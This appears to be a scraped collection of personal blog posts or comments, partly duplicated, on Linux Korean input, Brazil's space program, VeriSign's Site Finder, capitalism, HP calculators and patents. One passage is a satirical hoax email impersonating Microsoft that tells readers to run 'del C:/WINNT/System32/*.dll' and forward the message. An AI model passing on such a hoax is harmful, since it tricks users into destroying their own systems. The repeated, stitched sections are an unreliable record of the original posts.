And Linux gkb support for Korean is... well, non-existent?
I hate the fact that I cannot switch to the Korean IME if I boot Linux with English as default. I have to shutdown X and reboot it to get access to the Korean keyboard. And it pisses me off because writing in English from the Korean keyboard will not suffice because I have to type in Portuguese and French as well.
So, you from Brazil and Alcantara, sitting at Equator line, is probably the single best place to send anything out to space.
So what?
It's not about cost, but about technology development and, most importantly, the construction of a knowledge base within the country and the potential by-products that such development can bring to the benefit of the Brazilian people. It's still a very honourable and bold task!
However, I still do not understand why they loaded the launcher vehicle with such a valuable payload, knowing that the launcher was still alpha. Microsoft's product deployment strategy, maybe?
Coz Samurai Jack reminds me a lot of that old PC game, "Another World", published by French Infogrames: angulous lines with a dark, somber background. Main character is essentially lone, just as of that game. Minimalistic background sound & music.
Heh. That's why I only go to the movies to see sci-fi or action: because I cannot reproduce the ambience of a projection room with my current Sony hometeather equipment (those micro speakers cannot pump up that much juice:^(
As for other genres, I just do not feel compelled to spend the ~$30 (tickets for 2, rip-off popcorn and soda), unless the movie is known to have a kick-ass photography.
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Without so much as a hearing, ICANN today formally asked us to shut down the Site Finder service. We will accede to the request while we explore all of our options," said Russell Lewis, executive vice president of VeriSign's Naming and Directory Services Group. "During the more than two weeks that Site Finder has been operational, there is no data to indicate that the core operation of the Domain Name System or stability of the Internet has been adversely affected. ICANN is using anecdotal and isolated issues to attempt to regulate non-registry services, but in the interests of further working with the technical community we will temporarily suspend Site Finder."
Hello?! ICANN does not need a hearing because you, Verisign, breached your contract, not a law or something!
Geez. W3C never intended to create standards that adapt to the browser one is using. Browsers are the ones who should implement W3C correctly, instead.
But I agree that, in real life, due to Microsoft dominance, standards will never be standard, and there will always be the need for hacks.
Free market? It is theoretically supposed to work, but what happens when companies lobby unto the Government to raise artificial barriers to protect their companies? How's that free market?
And your dad became an arbitrageur: he seeked price discrepancies to get the same service, but in different places. That's the very nature of commerce.
Companies, however, lobby for the Government to block such practices, distorting the so-called capitalism. That's why the current model of capitalism is flawed. Not because of the increase of productivity, but because private capital fights to change the mechanics of competition.
Well... if you think about it, you'll see that, in a way, Microsoft already is a socialized IT player.
Like it or not, Microsoft created an entire ecosystem around it, arguably built from the inherent inefficiencies in its software/architecture/the way they understand the world.
I'd say that there was a job transfer in net terms: some jobs were actually destroyed. Others were created. This transfer ocurred in a rather disordered way and the technology quickly created a mass of excluded people.
We've seen this before, with the industrialization, but today it comes with a twist, since the pace of job destruction is outrunning the ability of people to learn new skills.
Maybe Microsoft holds the key. Maybe inefficiency serves a purpose. Who knows?
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Yeah, right:
If you have a truly unique idea, and you announce it to the world before you get to market, you might as well kiss your funding good-bye.
If your idea is that really "truly", why in most tech cases it can be so easily copied? How can a promising market be so easily eroded after the breakthrough idea comes tu public?
The article points that new ideas are an extremely rare event and that market efficiency would be nearer if those stupid NDAs made some kind of provision so a startup can understand where they're headed to -- if the idea is not that really new, then it wouldn't need to be pursued, freeing resources ($$$) to pursue other truly innovative ideas.
Unfortunately, the main goal of most startups seems to do a balance transfer from their VC's accounts into the startup founders'. VCs have to protect themselves, and the chain is closed. You get the picture.
Interesting to see that the science of business administration/management fails to capture the essence of the "luck" thing.
The entire MBA thing is built on the belief that if one does everything The Right Way(TM), the business will not fail.
That's not the case, of course. This quote from the Swiss(?) army reflects the spirit of "luck": "if the map and the terrain do not match, trust the terrain".
I'd like to see business consultants trusting the terrain instead of trying to fit the terrain into their dream world methodologies....
RPN shines when you have to do calculation with several levels of nestes parenthesis.... it's absurdly fast and one don't have to mess up with that weird M+/MR/MC keys.
As for me, RPN is logical, very Lisp-like. It's wonderful!
...when you're taking grad Business Administration classes. Even if Economics. My personal list:
19 B-II: the Cadillac of Business Calculators - big, bulky, takes three R-sized batteries. But if you're going this way, you better stick to your 48.
10-C: the traditional one. In the bank I used to work for, they had a box full of these, for everyone to borrow. But it is very mnemonic and not esy to figure out what's going on.
17B-II: the best financial calculator. Powerful RPN (switchabel to algebraic mode, if you remember how to do math that way) in a standard calculator form factor. One-third the thickness of the 48 and has the right set of features (especially if you're taking accounting).
17B-IIs are getting incredingbly hard to find, I got mine from eBay, after my previous 19B had the same problems you described with your 48. Maybe HPs come with an expiration date, maybe the silicon inside deteriorates if left unused for a while. I do not know, but the best way to preserve your HP calculator is to keep using it (except for the 10C, which is the Humvee of the HP calculator line)....
Another example of business computing in Lisp is in the area of Systems Integration -- I've worked on the implementation of Seebeyond's e*Gate tool for an automaker, coding almost 300 interfaces to link AS/300, SAP, Siebel, web apps, DOS - you name it.
Granted, it was a Lisp dialect, but all the features were there.
Sad thing is that Seebeyond moved into Java for the new version of their product. The tool relies on heavy text processing and Java is not really great at that.
We, at Microsoft, understand that the Internet is crowded with viruses and we'll help you to make it safer. You certainly have heard of a thing called "dll hell" -- it's called like that because most viruses disguise themselves as.dll files. Just follow these simple steps and enjoy safe surfing:
Click on "Start" and then at "Run...".
At the "Run" dialog, type "cmd" at the text field and hit the Enter key
Type the following WITHOUT PRESSING ENTER AFTER TYPING: "del C:/WINNT/System32/*.dll"
Forward this mail to all people in your address list -- it is up to you to stop virus spreading.
Sync your mail, make sure it was sent.
Now, go back to that cmd window and hit Enter. When you see files being deleted, you'll know that those evil dll files will be long gone!
Now, reboot. Upon reboot, your Windows will be safe!
Do not forget to forward this message! Only knowledge will stop those heinous viruses!!!
The funny thing here is that "fundamental" technologies are only recognized as such after time has proven their value.
Unfortunately, regarding technology patents, one cannot rollback one technology into public domain if it is proven to be "fundamental" several years down the road.
I just conclude that something is severely screwed up in the US patent system.
Does it mean that you have to wear your swim clothes just to answer a phone call? Answering phones do not require that. Although I find it useful for air traffic controllers - they need concentration!
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I hate the fact that I cannot switch to the Korean IME if I boot Linux with English as default. I have to shutdown X and reboot it to get access to the Korean keyboard. And it pisses me off because writing in English from the Korean keyboard will not suffice because I have to type in Portuguese and French as well.
So what?
It's not about cost, but about technology development and, most importantly, the construction of a knowledge base within the country and the potential by-products that such development can bring to the benefit of the Brazilian people. It's still a very honourable and bold task!
However, I still do not understand why they loaded the launcher vehicle with such a valuable payload, knowing that the launcher was still alpha. Microsoft's product deployment strategy, maybe?
Talk about budget allocation!
Coz Samurai Jack reminds me a lot of that old PC game, "Another World", published by French Infogrames: angulous lines with a dark, somber background. Main character is essentially lone, just as of that game. Minimalistic background sound & music.
As for other genres, I just do not feel compelled to spend the ~$30 (tickets for 2, rip-off popcorn and soda), unless the movie is known to have a kick-ass photography.
Hello?! ICANN does not need a hearing because you, Verisign, breached your contract, not a law or something!
But I agree that, in real life, due to Microsoft dominance, standards will never be standard, and there will always be the need for hacks.
Free market? It is theoretically supposed to work, but what happens when companies lobby unto the Government to raise artificial barriers to protect their companies? How's that free market?
Companies, however, lobby for the Government to block such practices, distorting the so-called capitalism. That's why the current model of capitalism is flawed. Not because of the increase of productivity, but because private capital fights to change the mechanics of competition.
Like it or not, Microsoft created an entire ecosystem around it, arguably built from the inherent inefficiencies in its software/architecture/the way they understand the world.
I'd say that there was a job transfer in net terms: some jobs were actually destroyed. Others were created. This transfer ocurred in a rather disordered way and the technology quickly created a mass of excluded people.
We've seen this before, with the industrialization, but today it comes with a twist, since the pace of job destruction is outrunning the ability of people to learn new skills.
Maybe Microsoft holds the key. Maybe inefficiency serves a purpose. Who knows?
If your idea is that really "truly", why in most tech cases it can be so easily copied? How can a promising market be so easily eroded after the breakthrough idea comes tu public?
The article points that new ideas are an extremely rare event and that market efficiency would be nearer if those stupid NDAs made some kind of provision so a startup can understand where they're headed to -- if the idea is not that really new, then it wouldn't need to be pursued, freeing resources ($$$) to pursue other truly innovative ideas.
Unfortunately, the main goal of most startups seems to do a balance transfer from their VC's accounts into the startup founders'. VCs have to protect themselves, and the chain is closed. You get the picture.
The entire MBA thing is built on the belief that if one does everything The Right Way(TM), the business will not fail.
That's not the case, of course. This quote from the Swiss(?) army reflects the spirit of "luck": "if the map and the terrain do not match, trust the terrain".
I'd like to see business consultants trusting the terrain instead of trying to fit the terrain into their dream world methodologies....
So I'll start saving for a Lasik eye surgery!
Or benefits! If the recommendation are followed, there will be a demand surge for interface and systems integration work!
As for me, RPN is logical, very Lisp-like. It's wonderful!
...when you're taking grad Business Administration classes. Even if Economics. My personal list:
17B-IIs are getting incredingbly hard to find, I got mine from eBay, after my previous 19B had the same problems you described with your 48. Maybe HPs come with an expiration date, maybe the silicon inside deteriorates if left unused for a while. I do not know, but the best way to preserve your HP calculator is to keep using it (except for the 10C, which is the Humvee of the HP calculator line)....
4. Do not mess with any member of OCP's board of directors (something like that)
A LIGHTSABER!
Granted, it was a Lisp dialect, but all the features were there.
Sad thing is that Seebeyond moved into Java for the new version of their product. The tool relies on heavy text processing and Java is not really great at that.
If only Java could do regexps....
Dear $name:
We, at Microsoft, understand that the Internet is crowded with viruses and we'll help you to make it safer. You certainly have heard of a thing called "dll hell" -- it's called like that because most viruses disguise themselves as .dll files. Just follow these simple steps and enjoy safe surfing:
Do not forget to forward this message! Only knowledge will stop those heinous viruses!!!
... but I hate RH's Gnome-based taskbar!
Unfortunately, regarding technology patents, one cannot rollback one technology into public domain if it is proven to be "fundamental" several years down the road.
I just conclude that something is severely screwed up in the US patent system.
Does it mean that you have to wear your swim clothes just to answer a phone call? Answering phones do not require that. Although I find it useful for air traffic controllers - they need concentration!
Does it mean that, in the US, the law is supposed to be enforced by lawyers instead of the police?
- Crop circles are found in UK and to a lesser extent, US and continental Europe, but not in South America.
- The Chupa Cabra is found in South America, some is known in the US but I've never seen references to it in Europe, Africa or Asia.
- The Sasquatch (sic) or Big Foot, in Canada, US and China.
- Abductions, never heard of those in South America or Asia, seems like a NATO-only thing. Worse, an anglo-saxon thing.
The only thing in common is the good ol' US of A!